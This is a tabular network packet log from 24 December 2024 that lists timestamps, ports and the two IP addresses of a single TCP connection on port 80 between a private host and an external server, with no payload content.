Dec 24, 2024 12:40:25.185451984 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.185470104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.185508966 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.185527086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.186541080 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.186597109 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.186654091 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.187660933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.187705994 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.187716007 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.187757015 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.234330893 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.234390974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.234458923 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.234494925 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.234894037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.234977961 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.235024929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.236037970 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.236088991 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.236124992 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.236170053 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.237180948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.237226963 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.237297058 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.237341881 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.238365889 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.238549948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.238620043 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.239381075 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.239429951 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.239552975 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.239599943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.240595102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.240644932 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.240726948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.240773916 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.241643906 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.241689920 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.241748095 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.241823912 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.242851973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.242902994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.242980957 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.243025064 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.243958950 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.244005919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.244039059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.244060993 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.245065928 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.245199919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.245249033 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.246143103 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.246258020 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.246308088 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.247282982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.247328997 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.247390985 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.247437954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.248357058 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.248403072 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.248486042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.248536110 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.249659061 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.249708891 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.249772072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.250188112 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.251199007 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.251266956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.251543999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.251599073 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.252123117 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.252175093 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.252237082 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.252284050 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.253098011 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.253153086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.253223896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.253271103 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.254383087 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.254461050 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.254543066 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.255739927 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.255801916 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.255938053 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.255985975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.256880999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.256927013 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.257083893 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.257148981 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.257925987 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.257983923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.258019924 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.258063078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.258939981 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.258992910 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.259083033 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.259228945 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.260004997 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.260066032 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.260175943 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.260237932 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.261141062 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.261193037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.261239052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.261286974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.262156963 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.262207985 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.262226105 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.262270927 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.263092041 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.263120890 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.263150930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.263184071 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.264127016 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.264231920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.264259100 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.264271975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.265314102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.265434027 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.265482903 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.266444921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.266516924 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.266566992 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.354921103 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.355109930 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.355190992 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.355463028 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.355506897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.355509996 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.355559111 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.356602907 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.356726885 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.356751919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.356821060 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.357728958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.357770920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.357820034 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.358948946 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.358993053 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.359030008 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.359074116 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.359997034 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.360052109 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.360079050 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.360135078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.361113071 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.361175060 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.361248016 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.361299992 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.362327099 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.362339973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.362391949 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.363373041 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.363421917 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.363451958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.363552094 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.364520073 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.364576101 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.364598036 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.364736080 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.365643978 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.365741014 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.365765095 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.365793943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.366822958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.366873980 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.366878986 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.366926908 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.367855072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.367904902 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.367921114 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.367971897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.368979931 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.369033098 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.369095087 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.369149923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.370065928 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.370114088 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.370172977 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.370223045 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.371217966 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.371268988 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.371288061 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.371330976 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.372338057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.372390032 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.372416019 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.372463942 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.373450994 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.373502016 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.373567104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.373613119 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.374609947 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.374660015 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.374686956 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.374742031 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.375695944 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.375775099 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.375797987 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.375847101 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.376832962 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.376883984 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.376914978 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.376960993 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.377948999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.377998114 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.378060102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.378106117 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.379076958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.379127026 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.379149914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.379198074 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.380151987 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.380203962 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.426573038 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.426609039 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.426754951 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.426754951 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.427114964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.427200079 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.427237034 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.427283049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.428178072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.428229094 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.428294897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.428344965 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.429296970 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.429351091 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.429358006 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.429404974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.430547953 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.430599928 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.430623055 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.430670023 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.431588888 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.431638002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.431672096 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.431716919 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.432708025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.432755947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.432786942 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.432833910 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.433780909 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.433831930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.433917999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.433969975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.434907913 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.434957981 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.434979916 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.435026884 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.436242104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.436254025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.436299086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.437201023 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.437279940 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.437954903 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.438005924 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.438293934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.438343048 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.438421965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.438472033 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.439394951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.439446926 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.439518929 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.439565897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.440568924 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.440622091 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.440725088 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.440773964 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.441802979 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.441854954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.441881895 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.441927910 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.442843914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.442893982 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.443023920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.443073034 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.443995953 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.444051027 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.444097996 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.444188118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.445051908 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.445101976 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.445126057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.445171118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.446249962 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.446305037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.446372032 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.446419954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.447470903 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.447545052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.447577953 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.447623968 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.448481083 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.448530912 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.448561907 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.448611021 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.449517965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.449567080 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.449650049 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.449700117 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.450643063 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.450692892 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.450751066 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.450800896 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.451750040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.451802015 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.451869011 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.451922894 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.452893972 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.452946901 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.453013897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.453064919 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.454020977 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.454071999 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.454106092 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.454149008 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.455152988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.455208063 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.455238104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.455286026 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.456320047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.456373930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.456404924 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.456450939 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.457429886 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.457479954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.457549095 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.457617044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.458493948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.458547115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.458578110 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.458625078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.547142982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.547481060 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.547497988 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.547534943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.547662973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.547709942 CET	49868	80	192.168.2.5	185.215.113.206
